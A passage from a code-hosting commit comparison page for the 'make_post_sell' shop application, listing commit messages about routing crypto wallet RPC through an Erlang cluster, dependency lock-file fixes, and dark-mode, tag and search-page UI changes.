engineering/make_post_sell
1
0
Fork 0
Code Issues 2 Pull requests Projects Releases 2 Packages Wiki Activity Actions

Compare commits

merge into: engineering:feature/economically-unviable-refund-emails
Branches Tags
engineering:master
engineering:feature/economically-unviable-refund-emails
engineering:feature/multi-output-refunds
engineering:1.1.5
engineering:1.1.4
engineering:1.1.3
engineering:1.1.2
engineering:1.1.1
engineering:1.1.0
engineering:1.0.8
engineering:1.0.7
engineering:1.0.6
engineering:v1.0.5
engineering:v1.0.4
engineering:1.0.3
engineering:1.0.3-b
engineering:1.0.2
engineering:1.0.1
engineering:1.0.0
...
pull from: engineering:master
Branches Tags
engineering:master
engineering:feature/economically-unviable-refund-emails
engineering:feature/multi-output-refunds
engineering:1.1.5
engineering:1.1.4
engineering:1.1.3
engineering:1.1.2
engineering:1.1.1
engineering:1.1.0
engineering:1.0.8
engineering:1.0.7
engineering:1.0.6
engineering:v1.0.5
engineering:v1.0.4
engineering:1.0.3
engineering:1.0.3-b
engineering:1.0.2
engineering:1.0.1
engineering:1.0.0
Sign in to create a new pull request.

693 commits
feature/ec ... master

Author SHA1 Message Date
russell@unturf.com
2e5a8ba496
crypto_watcher: wire wallet_dist.enabled into Monero + Doge factories 
Until now the wallet_dist.enabled = true flag in production.ini was
ornamental — only the mps_wallet_dist_health CLI smoke test ever
constructed an ErlangDist client. crypto_watcher's hot polling path
called get_client_from_settings() / get_dogecoin_client_from_settings()
which unconditionally built local HTTP clients against monero.rpc_url
and dogecoin.rpc_url. The toggle did not toggle.

This commit wires both factories to honor wallet_dist.enabled. Three
transports per coin, checked in order:

  1. Mock (monero.mock / dogecoin.mock) — test-only, unchanged
  2. Cluster RPC (wallet_dist.enabled = true) — returns
     ErlangDistMoneroClient / ErlangDistDogecoinClient that forward
     calls to Wallet.Service on cammy via portal's Wallet.Bridge
  3. Local HTTP daemon — current default, backwards-compatible

Existing erldist_clients module already had the dist client classes
(drop-in replacement surfaces matching MoneroClient / DogecoinClient);
they just weren't wired anywhere except the smoke CLI.

wallet_dist_config.py gains load_wallet_dist_config_from_settings()
alongside load_wallet_dist_config() (ini path). Both call shared
_build_from_dict() so validation stays in one place. The factory uses
the settings variant since it has the Pyramid settings dict already
and doesn't want to re-parse the ini.

## Rollback procedure

Two layers; both designed to be safe and reversible.

### Layer 1 — code rollback

Set wallet_dist.enabled = false in production.ini and restart
crypto_watcher. Factories drop back to local-daemon path
transparently. No code revert needed; the toggle IS the rollback.

The local monero-wallet-rpc and dogecoind services on mps-uwsgi1 must
stay running through the experiment window — they are the rollback
target. Do not decommission them in the same change as the cutover.

### Layer 2 — data rollback

CryptoPayment rows created during the cluster-RPC period reference
(account_index, subaddress_index) coordinates in CAMMY'S wallet
address space. If the toggle is flipped back without further action,
those rows would resolve to wrong addresses in MPS's local wallet.

Mitigation: pre-cutover, confirm no in-flight CryptoPayment rows.
During the experiment window, treat any pending rows as
force-expirable. If rollback is needed:

  1. Flip toggle off
  2. Force-expire any CryptoPayment rows created post-cutover (their
     cammy-side addresses become orphaned but no funds are at risk
     since the experiment assumes pre-cutover zero open payments)
  3. Resume local-wallet operation

This rollback path is only viable while the local daemons are still
running. Decommissioning them is a separate, later step taken only
after the experiment has soaked.

## Tests

14 new tests in test_crypto_clients_factory.py covering routing
branches for both coins:

  - Mock overrides everything (precedence pinned)
  - wallet_dist.enabled = true returns dist client + kwargs flow through
  - wallet_dist.enabled = false falls back to local
  - Missing wallet_dist key falls back to local (backwards-compat)
  - Local path errors clearly when rpc_url is also missing
  - load_wallet_dist_config_from_settings parity with ini loader
    (disabled / missing-keys / cookie-reading)

Dist client tests use monkeypatch to stub the constructor — we don't
want the factory test opening a real socket to find a Wallet.Bridge.

All 110 existing crypto_watcher tests still green.

## What this does NOT do

  - Does not flip wallet_dist.enabled in production.ini. Cutover is a
    deliberate ops step taken after a no-open-payments confirmation.
  - Does not migrate any DB rows. The shop-to-subaddress mapping
    stays as-is; new payments simply land on cammy's wallet from the
    cutover point forward.
  - Does not decommission local daemons. They remain as rollback
    targets until the cluster path has soaked.
 2026-06-17 18:54:45 -04:00
russell@unturf.com
7ca9073ef6
1.2.1: wallet_dist clients honor cfg.registered_name (was hardcoded) 
ErlangDistMoneroClient / _DistConn had WALLET_SERVICE_NAME = "Elixir.Wallet.Service"
hardcoded as the REG_SEND target, ignoring the registered_name read from
production.ini's [app:main] wallet_dist.registered_name.

Smoke-test against production portal failed for hours with
'peer closed after 0/4 bytes' — the bytes WERE arriving at portal, dist
handshake succeeded, but portal had no process registered as
:'Elixir.Wallet.Service' (the actual registered name is
:'Elixir.Wallet.Bridge', because the bridge GenServer forwards from MPS
to wallet@cammy.foxhop.net). REG_SEND to an unregistered name is
silently dropped by the dist driver — exactly the symptom we saw.

Confirmed by direct Python call to :'Elixir.Wallet.Bridge' from the
same MPS host succeeding while the CLI failed; only difference was the
hardcoded target name.

  WalletDistConfig.client_kwargs() now includes registered_name.
  _DistConn / ErlangDistMoneroClient / open_wallet_conn accept it as
  an optional kwarg (defaults to legacy WALLET_SERVICE_NAME for
  backwards-compat with callers that don't pass it).

This was NOT a TLS 1.3 bug — earlier debugging hypothesized that but
was misled by the symptom. Locking TLS 1.2 max made the direct test
work because the direct test was already calling the right name.
 2026-06-17 10:58:45 -04:00
russell@unturf.com
7bb263c046
deps: erldistpy >= 0.1.7 — OTP 26 wallet_dist compatibility 
erldistpy 0.1.6 silently dropped its first REG_SEND against OTP 26
peers (handshake "succeeded" then the link closed with no response).
0.1.7 declares DFLAG_MANDATORY_25_DIGEST in our advertised flag set
and accepts dist-header-framed replies, which lets the call round-trip.

Bumps requirements.py3.txt floor + regenerates requirements-prod.lock
so the next CI artifact carries the fix into env.tar.gz.
 2026-06-17 08:53:27 -04:00
russell@unturf.com
2905827c3f
CLAUDE.md: document the requirements.py3.txt ↔ requirements-prod.lock relationship 
Two-file dependency setup tripped me twice in one session:
  1. Added erldistpy to requirements.py3.txt without running make pins-lock.
     Result: env.tar.gz shipped without erldistpy, prod crypto_watcher
     hit ModuleNotFoundError at runtime.
  2. Added click as a CLI dep that wasn't in any pin file at all.
     Result: 516 import errors in CI tests across unrelated modules.

Documents the two-file model + the obligation to run `make pins-lock`
on every requirements.py3.txt edit. Notes the CLI-convention point too
(stdlib argparse, not click).
 2026-06-17 07:45:29 -04:00
russell@unturf.com
dd701fb319
deps: regenerate requirements-prod.lock to include erldistpy + transitive deps 
The wallet_dist work added erldistpy to requirements.py3.txt (b6268a9)
but requirements-prod.lock was never regenerated. CI's
install-source-prod uses --require-hashes against the lock, so the
runtime venv shipped without erldistpy regardless of which py3.txt
line was added.

Re-ran `make pins-lock` (uv pip compile --generate-hashes). New lock
includes erldistpy==0.1.6 and whatever transitive deps it pulls.
Verified mps-uwsgi1 was missing the module after 1.2.0 highstate;
this lock regen unblocks the wallet_dist smoke test.
 2026-06-17 07:44:35 -04:00
russell@unturf.com
c97a7c6ee1
wallet_dist_health: argparse instead of click — match repo convention 
Every other CLI in the repo (crypto_watcher/__init__, digest_sender,
offer_tick, fix_s3_acls, lib/un.py) uses stdlib argparse. The
mps_wallet_dist_health module imported click out of habit, breaking
that pattern and forcing a new install_requires entry that wasn't
declared (516 ModuleNotFoundError test errors on master CI).

Swap to argparse, drop the click dep. Same interface:
  mps_wallet_dist_health [config_path] [--timeout SECS]
Same exit codes (0 OK, 2 config, 3 RPC failure). Defaults preserved.
 2026-06-17 07:30:28 -04:00
russell@unturf.com
e96c32502e
deps: add click — required by mps_wallet_dist_health CLI 
CI on 02f55a9 + 3f1a092 failed with 516 ModuleNotFoundError: No module
named 'click' across test_functional / test_integration. wallet_dist_
health.py imports click at module-top; pytest collection imports
crypto_watcher → wallet_dist_health → click, which isn't installed in
the CI test env.

click is usually a transitive dep of pyramid in most installs, but the
CI runner's env is stricter. Explicit declaration unblocks 1.2.0
artifact build.
 2026-06-17 07:27:54 -04:00
russell@unturf.com
3f1a092d2e
release: 1.2.0 — wallet_dist transport (erldistpy) + mps_wallet_dist_health CLI 
Bumps version to force the CI artifact to rebuild with the new
source_hash so salt-managed MPS deployments re-fetch env.tar.gz.

Includes (since 1.1.6):
  - eae627e crypto_watcher: dist clients for XMR/BTC/LTC/DOGE via erldistpy
  - b6268a9 deps: erldistpy >=0.1.6 (PyPI) — drop-in for new dist clients
  - 02f55a9 crypto_watcher: wallet_dist config + mps_wallet_dist_health CLI

mps_wallet_dist_health is the standalone CLI used to smoke-test the
TLS-dist transport against wallet@cammy.foxhop.net independent of
the crypto_watcher daemon.
 2026-06-17 07:19:07 -04:00
russell@unturf.com
02f55a9b66
crypto_watcher: wallet_dist config + mps_wallet_dist_health CLI 
Joining make_post_sell prod to our unsandbox Erlang cluster as a
hidden Python node so the watcher can route wallet RPC through
Wallet.Service on cammy via erldistpy. Two pieces in this commit:

  wallet_dist_config.py
    Reads wallet_dist.* keys from production.ini's [app:main]:
      - enabled
      - our_node_name / peer_name / peer_host / registered_name
      - cert / key / ca (all three or none — partial config errors)
      - cookie_file (path; value read at load time, never logged)
    Returns a frozen WalletDistConfig dataclass with .client_kwargs()
    that maps to ErlangDist*Client constructor signatures.

  wallet_dist_health.py + mps_wallet_dist_health console_script
    Single-shot smoke test: load config, open dist connection, call
    Wallet.Service.monero_get_height + is_synced, print result. Exit
    code 0 = wire works; 2 = config problem; 3 = dist call failed.
    Lets ops verify on prod via:
      mps_wallet_dist_health /opt/make_post_sell/production.ini

erldistpy imported lazily inside the connection helper — deploys
that stay on direct-HTTP wallet clients don't need erldistpy
resolvable.

11 new tests for wallet_dist_config covering enabled/disabled,
TLS-all-or-none, missing-required-key, unreadable cookie file.
Existing 44 erldist_clients tests still green (total 55 dist-related
tests, plus the 110 existing crypto_watcher tests untouched).
 2026-06-16 15:51:57 -04:00
russell@unturf.com
b6268a95ee
deps: erldistpy >=0.1.6 (PyPI) — drop-in for new dist clients 
The erldist_clients module (lib/crypto_watcher/erldist_clients.py)
imports erldistpy lazily, so deploys that stay on the existing
direct-HTTP wallet clients are unaffected. Shops opting in to the
dist transport will resolve erldistpy via pip on next deploy.

Not bumped to a new MPS tag — that comes after a prod soak confirms
the dependency installs cleanly and existing crypto_watcher behavior
is unchanged.
 2026-06-16 15:23:40 -04:00
russell@unturf.com
753642c70f
ci: pin twine<6 — classic ~/.pypirc auth on build runner 
twine 6 (Sep 2025) auto-detects GitLab CI and refuses to fall back to
~/.pypirc, requiring PYPI_ID_TOKEN (Trusted Publishing OIDC). Pin <6
to keep the runner's ~/.pypirc fallback working until we migrate all
python/* repos to Trusted Publishing as a coordinated change.
 2026-06-16 14:11:59 -04:00
russell@unturf.com
cd11eefb38
ci: twine check before pypi upload, non-interactive 
twine check validates the built artifacts' metadata (long_description
rendering, required fields) so a broken render hits CI logs instead of
landing on PyPI as a malformed project page.

--non-interactive guards against a wedged prompt hanging the pipeline.
 2026-06-16 13:55:25 -04:00
russell@unturf.com
eae627e065
crypto_watcher: dist clients for XMR/BTC/LTC/DOGE via erldistpy 
Drop-in alternatives to MoneroClient + DogecoinClient (plus first-class
BTC + LTC clients) that route wallet RPC through Wallet.Service on
cammy via Erlang dist instead of hitting daemons directly.

Why both transports coexist:
  - Direct-HTTP clients keep working unchanged — no shop is forced over
  - Each shop opts in by config; once a shop's on dist, its daemons
    don't have to live on the MPS droplet
  - End goal: drain wallet daemons off prod MPS, right-size hosting

What's here:
  - ErlangDistMoneroClient mirrors MoneroClient's public surface
    (create_subaddress, get_transfers_for_subaddr, get_height,
     is_synced, get_sync_status, get_balance, sweep_subaddress,
     transfer, plus new sweep_subaddress_with_details +
     get_tx_confirmations helpers)
  - ErlangDistBitcoinClient / ErlangDistLitecoinClient /
    ErlangDistDogecoinClient share a UTXO base class, identical to
    DogecoinClient's surface (getnewaddress, getreceivedbyaddress,
    sendmany, sendtoaddress, gettransaction, listtransactions,
    is_synced, get_sync_status, plus new get_tx_confirmations)
  - refund_with_fee_split — one transaction for customer refund plus
    optional shop fee output, covers all four coins
  - refund_economically_viable — pure helper matching
    Wallet.Service.refund_economically_viable?/3 default ($0.069)

Wire shape against Wallet.Service handle_call clauses:
  {:monero, :function_name, [args...]}
  {:utxo, :coin_atom, :function_name, [args...]}
  {:refund_with_fee_split, coin, refund_addr, refund_amt, shop_addr, shop_amt, opts}

Lazy import: erldistpy is only imported when a dist client is
constructed, so MPS deploys that stay on HTTP transport don't need it
installed. Secrets discipline matches existing clients — cookie + TLS
material are paths the caller resolves; no PEM bytes enter Python.

44 unit tests covering each client's tuple shape + reply decoding +
error mapping (CallTimeout → WalletDistError, NodeError →
WalletDistError). The cross-stack wire contract is already verified
in wallet.unsandbox.com's test/functional suite (Python erldistpy →
Erlang dist → Wallet.Service → mock daemons → reply back), so MPS-side
tests focus on the adapter.

Existing 110 crypto_watcher tests untouched and still green.

Not in this commit:
  - No watcher orchestration changes (still uses direct clients)
  - No CryptoProcessor model column / Alembic migration
  - No factory wiring per-shop transport selection
That's the next discrete ticket so each piece is reviewable on its own.
 2026-06-16 13:39:16 -04:00
russell@unturf.com
6e37c8b233
product edit: restore no-JS comma tags input in bottom Tags well 
CI caught a regression from the Tags-well move (c5d53c0): the no-JS
<input type='text' name='tags'> field that the settings POST handler
reads (views/product.py: 'if "tags" in request.params') was dropped
when the manual-mode block left the parent form.

Restored the field inside the manual_tags_enabled branch and added id
='product-settings-form' to the title/description/visibility form, then
used HTML5 form='product-settings-form' on the input so it lives in the
bottom Tags well visually but submits with Save Settings semantically.
test_product_edit_renders_chip_editor green; full TestProductTagsSpa
class (19 tests) green.
 2026-06-15 20:55:19 -04:00
russell@unturf.com
c5d53c084a
product edit: Tags is its own well at bottom of page (below Price History) 
Pulled the Tags block out of the settings form entirely and made it a
standalone <section class='product-tags well2 edit-card-full'> placed
after Price History — the very last well on the page. Default explainer
(manual_tags off) reads as a pure tip about title/description-driven
categorization. Manual-mode kept the chip editor which already AJAXes to
/p/{id}/tags, so it no longer relies on the parent settings-form submit.
 2026-06-15 20:30:00 -04:00
russell@unturf.com
70c3e647d1
product edit: move Tags well to bottom of form, just above Save Settings 
The 'Tags are derived from your title & description' explainer was
crowding the visibility radios. Moved it to sit immediately above the
Save Settings submit so the form reads top-down as input → settings →
explain → save.
 2026-06-15 19:54:26 -04:00
russell@unturf.com
7c4959946b
supply-chain: hash-pin prod dependencies (requirements-prod.lock) 
Prod previously installed via 'pip install .' (reads unbounded requirements.py3.txt)
plus 'pip install --upgrade -r requirements-prod.txt' — every deploy re-resolved to
whatever PyPI served, unverified. A poisoned release of any dep (stripe, boto3,
sqlalchemy, pyramid...) would land in a payment app.

- requirements-prod.in: source (runtime + prod-server deps)
- requirements-prod.lock: 68 pkgs pinned to exact versions + SHA256 (854 hashes),
  generated with uv pip compile --generate-hashes
- install-source-prod now: pip install --require-hashes -r requirements-prod.lock
  then pip install --no-deps . — no floating resolve at deploy time
- make pins-lock regenerates the lock deliberately

Validated locally: lock installs under --require-hashes, app imports, 791 logic
tests pass under resolved versions (functional tests need MPS_TEST_* env, gated in CI).
 2026-05-21 08:55:33 -04:00
russell@unturf.com
64bc435a00
fix: MPS-24 — systemic dark-mode token sweep (close the whole bug class) 
After fixing the same dark-mode bug 4x one surface at a time, swept
it system-wide. Root pattern: var(--name, fallback) where --name is
NOT a token in tokens.css -> the light fallback applied in BOTH themes
-> dark broken. Offenders: --color-surface*, --color-border*,
--color-text*, --text-color, --surface* (none are tokens).

- Remapped all 53 occurrences in common.css to the real theme-aware
  tokens (--surface-base/-dim/-container, --border-default,
  --text-primary/-body/-muted), KEEPING each fallback literal
  (comma-boundary sed). Diff verified: exactly 53/53 var-name-only
  swaps, no fallback/structure change, line count unchanged.
- Light mode: identical where token==fallback (#fff, off-whites);
  minor canonical nudges where they differ (muted #888->#666, body
  #333->#515151, primary #111->#333, borders ->#e0e0e0) — the design
  system's intended values, the 'light looks better' direction.
- Dark mode fixed app-wide (wells, suggest cards, counts, checksum
  table, and every other surface using these vars).
- Excluded (not the bug): --shop-theme-*, --color-accent, --pico-*,
  --primary-color, the --dark-* family, theme-neutral font/size vars.
- CLAUDE.md: DARK-MODE TRAP rule + pre-commit grep gate. mps-24.md
  Phase 2.8r. 1151 passed (CSS-only).
 2026-05-18 13:21:40 -04:00
russell@unturf.com
b39efcad4e
fix: MPS-24 — Suggest-categories cards broken in dark mode 
Operator screenshot: candidate-category cards render as WHITE cards
with invisible light labels in dark mode.

Root cause (same class as the well bugs): li.tag-suggest-item used
non-existent tokens var(--color-surface-2)/var(--color-border) ->
fell back to light literals in dark mode (white card), while the
label text inherited the dark theme's light colour -> invisible.

- li.tag-suggest-item: --surface-container bg + --border-light border
  + explicit --text-body colour (all carry dark values).
- div.tag-suggest-samples + span.tag-list-count: --color-text-muted
  (not a token) -> --text-muted (theme-aware). Fixes the per-cluster
  AND per-tag (All-tags list) counts in dark mode too.
CSS-only, cache-busted; no test pins these.
 2026-05-18 13:01:38 -04:00
russell@unturf.com
4a47b716ac
fix: MPS-24 — checksum 'Asset' column nowrap so 'Description' fits 
Operator: 'Description' label was wrapping (Descriptio / n). Asset
column -> 7.5rem + white-space:nowrap (same fix as Algorithm column).
CSS-only, cache-busted.
 2026-05-18 12:41:38 -04:00
russell@unturf.com
be7c491a6a
fix: MPS-24 — checksum table: SHA-256 label nowrap + hash actually wraps 
Operator screenshot: 'Algorithm'/'SHA-256' wrapped to two lines and
the SHA hash was cut off.

- Algorithm column: width 6rem + white-space:nowrap so the header and
  'SHA-256' stay on one line.
- copy-hash grid: minmax(0,1fr) track + min-width:0 on the button and
  the <code> (grid items default to min-width:auto, which forced the
  64-char SHA to overflow/cut instead of wrapping). word-break +
  overflow-wrap:anywhere now wrap the full hash inside the cell.
CSS-only, cache-busted.
 2026-05-18 12:21:48 -04:00
russell@unturf.com
60f5472546
style: MPS-24 — checksum report asset label 'Product file' -> 'Product' 
Operator: the row label should just say 'Product', not 'Product file'.
Template copy only; no test pins the string.
 2026-05-18 09:19:08 -04:00
russell@unturf.com
5888848999
feat: MPS-24 — click-to-copy checksum hashes + styled report table 
Operator: make the checksum report hashes click-to-copy (they were
unstyled and overflowing the column).

- New reusable static/js/copy.js: delegated [data-copy] handler, async
  Clipboard API + hidden-textarea/execCommand fallback, transient
  'Copied!' feedback. Generic (not checksum-specific) so other ad-hoc
  inline copy buttons can migrate later. Cache-busted (?v=git_hash).
- content.j2: each hash wrapped in button.copy-hash via a local Jinja
  macro (DRY). Capability-driven: no-JS the hash text is still visible
  + selectable.
- New .checksum-table / .copy-hash CSS: table-layout:fixed +
  word-break:break-all so the 64-char SHA wraps fully visible instead
  of truncating; theme-aware tokens only (dark-mode correct, no
  [data-theme] override that could regress like the trans-blue bug).
- /styleguide#copyhash added. Test:
  test_checksum_report_is_click_to_copy. 1151 passed.
- Docs: mps-24.md Phase 2.8q.
 2026-05-18 09:10:34 -04:00
russell@unturf.com
52e6c57145
fix: MPS-24 — dark-mode wells washed pale by trans-blue.png overlay 
Operator: the tag page's wells aren't coloured for dark mode.

[data-theme=dark] .well set background-color: #2d3748 but then painted
background-image: url(/static/img/trans-blue.png) — an 81-byte 1x1
tiled pixel — OVER it, washing the dark colour out everywhere generic
.well is used (tag page, etc.). The edit-page wells looked right only
because their more-specific rule uses the background: shorthand, which
incidentally cleared the image.

Fix: dark .well/.well2 now use background: shorthand (clears the
legacy overlay) -> --surface-container (#21262d, a distinct elevated
card vs the #0d1117 body) + a token border + soft elevation,
consistent with the fixed edit-page wells. No test pins the old
styling. CSS-only, cache-busted.
 2026-05-18 06:33:17 -04:00
russell@unturf.com
bc1c727a11
feat: MPS-24 — Checksums as a verifiable page report 
Operator: the content page's Checksums panel should cover the whole
page (product/content file + thumbnail1 + title + description) so a
human or agent can re-hash what they see and confirm provenance.

- The async checksum infra is already generic: compute_checksums_async
  hashes ANY uploaded key incl. thumbnail1, recomputed on re-upload
  (no separate thumbnail auto-gen pipeline exists) — so the stored
  file + thumbnail checksums are already kept current.
- Product.content_checksums(): LIVE SHA-256+MD5 of title + description
  (computed on read, not stored) so it always matches the visible
  text — exactly what an agent/human re-hashes to verify.
- content.j2 Checksums <details> is now a 4-asset report table
  (Asset / Algorithm / Hash), SHA-256 + MD5 per asset.
- Tests: TestContentChecksums (3, no-DB). 1150 passed.
- Docs: mps-24.md Phase 2.8p.
 2026-05-17 13:41:45 -04:00
russell@unturf.com
3467909b80
feat: MPS-24 — manual tags are ghost metadata; hide behind a flag 
Operator direction: stop hand-attaching tags ('ghost metadata'
invisible to the humans and agents reading the page). Derive tags
from title + description (auto-hydrate + suggest engine) instead.

- New MPS-22-style kill switch: app.features.manual_tags.enabled
  (request.manual_tags_enabled, DEFAULT FALSE, env
  MPS_FEATURES_MANUAL_TAGS_ENABLED, =True in test.ini so the existing
  tag suite keeps passing).
- product_edit.j2: hides the chip editor + comma tags field +
  product_tags.js; shows a 'tags are derived from your title &
  description' note (lists current auto-derived tags read-only).
- shop_tags.j2: hides 'Create a tag' + the per-product apply (focus)
  section; shows a 'How tags work' note. Suggest categories + the
  category overview stay (the blessed linguistic path).
- Endpoints remain functional -> flipping the flag On is instant and
  lossless ('until further notice').
- CLAUDE.md: 'Tag Philosophy' section + manual_tags row in the
  kill-switch matrix. mps-24.md Phase 2.8o.
- Tests: TestManualTagsKillSwitch (fresh app, flag False; mirrors
  TestKillSwitches). 1147 passed; existing tag suite green under
  test.ini (flag True).
 2026-05-17 12:08:55 -04:00
russell@unturf.com
d6ae00073f
fix: MPS-24 — edit-page well dark-mode color (was glaring white) 
Operator: a .well on the product edit page lost its dark-mode color in
a recent upgrade that improved light mode.

div.edit-page > section.well2 used var(--surface, #fff) and
var(--color-border, #eee) — but neither --surface nor --color-border
is a real token in tokens.css, so BOTH fell back to the light literals
(#fff/#eee) in dark mode too -> white cards on the dark edit page.
Switched to --surface-base (#FFFFFF light / #0d1117 dark) and
--border-light (#eeeeee light / #5599dd dark): light mode is byte-for-
byte identical, dark mode now correct. CSS-only, cache-busted.
 2026-05-17 11:13:36 -04:00
russell@unturf.com
2bc1e20958
feat: MPS-24 — auto-hydrate products into existing tags on create/edit 
Operator: new products / edited descriptions should auto-file into the
shop's existing categories without manual tagging.

- lib/tag_suggest.py:auto_hydrate_tags(dbsession, product) — stem-match
  title+description against the shop's EXISTING tag names (reuses
  tokenize/simple_stem; every stem of the tag name must be in the
  product stem set, so unigram 'Holiday' and phrase 'First Grade' both
  work). ADDITIVE (never removes), IDEMPOTENT, never CREATES tags
  (inventing categories stays suggest-then-approve).
- views/product.py:_auto_hydrate_and_flash wired into product_new
  (create), product_edit_description (markup desc editor), and
  product_edit (when title/desc changed, AFTER the explicit comma-tag
  sync so it's purely additive).
- Tests: TestAutoHydrateTags (3, integration) +
  test_new_product_auto_hydrates_existing_tag /
  test_edit_description_auto_hydrates_existing_tag (functional).
  1145 passed.
- Docs: CLAUDE.md (auto-apply-existing vs never-auto-CREATE
  distinction), mps-24.md Phase 2.8n.
 2026-05-17 11:13:36 -04:00
russell@unturf.com
60a93de763
fix: MPS-24 auto-suggest — keep umbrella unigrams (surface 'holiday' standalone) 
Operator: sees 'December Holiday' but not 'Holiday' on its own as a
recommended tag.

Bigram supersession dropped a unigram when the UNION of all bigrams
containing it covered >=0.8 of its products. 'holiday' spans
'december holiday' + 'winter holiday' + 'christmas holiday' -> union
covered it -> 'holiday' hidden as redundant. Changed: supersede only
when a SINGLE bigram covers >=0.8 (a true fragment, e.g.
'write'->'write room'). An umbrella unigram covered only by the union
of DISTINCT bigrams is now KEPT as its own category.

Also answered operator Q in docs: the stem engine NEVER auto-applies
to new products — suggest-then-approve only (/s/{id}/tags button or
operator-run backfill_tags CLI). Adding a product does not
auto-categorize it.

Tests: test_suggest_clusters_multi_bigram_supersedes_unigram renamed
to ..._keeps_umbrella_unigram_over_multi_bigrams (behaviour
intentionally flipped per operator); +..._surfaces_holiday_with_phrase_bigrams;
single-dominant-bigram supersession test unchanged + still green.
1140 passed. Docs: mps-24.md Phase 2.8m.
 2026-05-17 10:28:28 -04:00
russell@unturf.com
bda90119d8
style: MPS-24 — widen SERP right rail further (340 -> 420px) 
Operator follow-up: rail still not fat enough. >=1100px rail column
340 -> 420px; rail card thumb 76 -> 96px to match. CSS-only,
cache-busted.
 2026-05-17 10:10:47 -04:00
russell@unturf.com
8b36fd0310
style: MPS-24 — drop the 'Featured' rail heading (it lies on random fallback) 
Operator: don't label the rail 'Featured' — it falls back to a random
rotation when nothing is curated, so the heading is dishonest there.

- Removed the <h2>Featured</h2> from the featured_rail macro; cards
  stand on their own. aria-label 'Featured products' -> neutral
  'More from this shop' (accurate in both curated + random states).
- Removed the now-dead h2.serp-rail-title CSS rule + styleguide
  heading.
- Test asserts the heading is gone (serp-rail-title / >Featured<
  absent) while the rail itself still renders. 1139 passed.

CSS/templates cache-busted.
 2026-05-17 09:14:33 -04:00
russell@unturf.com
66a76b5d50
style: MPS-24 — fatter SERP right rail + slightly larger thumbnails 
Operator tuning after 479dc0e:
- SERP right rail column 260px -> 340px (>=1100px); rail card thumb
  56px -> 76px to match the wider rail.
- serp-list thumbnail column bumped up a notch (still well below the
  original 140/200/260/320): 88->110, 110->145, 130->175, 150->210
  across the container tiers.
CSS-only; common.css is ?v={{ request.git_hash }} cache-busted.
 2026-05-17 08:56:21 -04:00
russell@unturf.com
479dc0ed23
feat: MPS-24 — smaller SERP thumbnails + featured/random right rail 
Operator: smaller SERP thumbnails + a right column (featured products,
fallback random; all SERP + shop home).

- Thumbnails: serp-list thumb column 140/200/260/320 -> 88/110/130/150
  across container tiers (frees room for body + the new rail).
- _featured_rail_products(request, shop) in shop.py: shop's curated
  featured_product_ids (public/ready/deduped/capped); random
  public-ready fallback so it's never empty; bounded func.random()
  query (CWE-407-safe). Injected into _build_home_layout_context
  (home/shop/search) + shop_tag_detail ctx.
- Shared _facet_nav.j2:featured_rail macro, rendered as the 3rd child
  of the existing .tag-detail-layout on shop_tag.j2 / home.j2 / shop.j2
  (within show_facet_nav).
- CSS: <1100px rail is full-width beneath results; >=1100px 3-col
  facet | results | sticky rail; <800px stacks. Grid-only, tokens.
  /styleguide#serprail added.
- Tests: +test_serp_featured_rail_renders_with_random_fallback,
  +test_serp_featured_rail_prefers_curated_featured;
  test_tag_detail_price_filter_narrows_grid rescoped to the results
  grid (rail is unfiltered discovery by design). 1139 passed.

Docs: mps-24.md Phase 2.8l, design-system.md.
 2026-05-16 16:50:41 -04:00
russell@unturf.com
2301ab33cc
fix: MPS-24 auto-suggest — way more clusters, stop missing 'holiday' 
Operator: '100 suggested tags is not enough, we need way more —
missing holiday holidays'. Two separate 100 caps in lib/tag_suggest.py:

- DESCRIPTION_TOKEN_CAP 100 -> 400: long teaching-resource
  descriptions truncated cross-cutting words like holiday/holidays/
  seasonal before they were ever counted, so those clusters never
  surfaced (verified: neither word is a stopword; season/seasonal/
  valentine only appear in comments, not ENGLISH_STOPWORDS).
- DEFAULT_TOP_N 100 -> 500: a 481-product catalogue has valid niche
  groups ranking past the old cut. The min_products / max_share /
  min_title_share filters already strip noise, so a high ceiling
  surfaces the long tail without resurfacing junk.
- views/shop.py ?top_n= clamp 500 -> 5000 for operator headroom.

Both caps stay bounded (deduped unique tokens / no unbounded query —
CWE-407-safe). Test: +test_deep_description_word_surfaces_after_cap_raise
(word past the old 100-token cap now clusters). 1137 passed.

Docs: CLAUDE.md Phase 2, mps-24.md Phase 2.8k.
 2026-05-16 16:19:31 -04:00
russell@unturf.com
68a1309c83
style: MPS-24 — drop redundant tag-detail header from the SERP top 
Operator: remove the tag title + '← All products' from the top of the
tag SERP. With the always-on chip strip (active category highlighted +
an 'All' chip) the tag-detail-header h1/back-link was redundant.

- Removed the <section class=tag-detail-header> from shop_tag.j2 and
  the now-dead section.tag-detail-header CSS rule.
- Document <title> (in <head>) still carries the tag name for SEO.
- Tests discriminate the tag SERP via tag-detail-content instead of
  tag-detail-header, and assert the header is gone. 1136 passed.

Docs: mps-24.md Phase 2.8j.
 2026-05-16 15:53:11 -04:00
russell@unturf.com
09f5a68428
feat: MPS-24 — chip strip stays on every SERP page 
Operator: 'leave the chits on screen for all serp pages.' The
horizontal tag-chip-strip only rendered on the shop home; drilling
into a category (tag-detail SERP) dropped it, so hopping categories
meant going back.

- Extracted the chip strip (duplicated verbatim in home.j2 + shop.j2)
  into a single _facet_nav.j2 chip_strip(...) macro — DRY, one source
  of truth — and added it to shop_tag.j2 under the header.
- shop_tag_detail view already supplied home_chips / active_tag / sort
  / price, so this was a template-only gap. Active category chip
  highlights on the SERP and carries facet_qs (sort/price compose).
- Search SERP renders home.j2 so it gets the macro for free.

Test: +test_chip_strip_stays_on_tag_detail_serp. 1136 passed.
Docs: mps-24.md Phase 2.8i.
 2026-05-16 11:46:16 -04:00
russell@unturf.com
3bb05e4b5d
fix: MPS-24 — facets compose; sort+price survive switching category 
Operator: 'switching one breaks it' — picking a category reset the
active Sort + Price. Cause: facet category links / 'All' link / top
chips / lane 'See all' all pointed at a bare {tag_base}/tag/{slug}
with NO query string, so a click dropped ?sort= / ?price_*. (The
Sort select / Price form already preserved the tag via action='' +
path and each other as sibling fields — only category nav lost state.)

Fix: one shared facet_qs(sort_key, price_min, price_max) macro in
_facet_nav.j2 returning the ?sort=...&price_min=...&price_max=...
suffix, appended to every category/All/chip/See-all href in
_facet_nav.j2, home.j2, shop.j2. URL state, NOT localStorage
(operator's suggestion): shareable, no-JS, back-button correct, and
the destination SERP already reads those params. The & is HTML-escaped
to &amp; in hrefs (Jinja autoescape) — browsers decode it fine.

Tests: +test_facet_links_preserve_sort_and_price; updated
test_tag_detail_renders_facet_sidebar +
test_facet_category_link_renders_tag_detail_not_home for the new
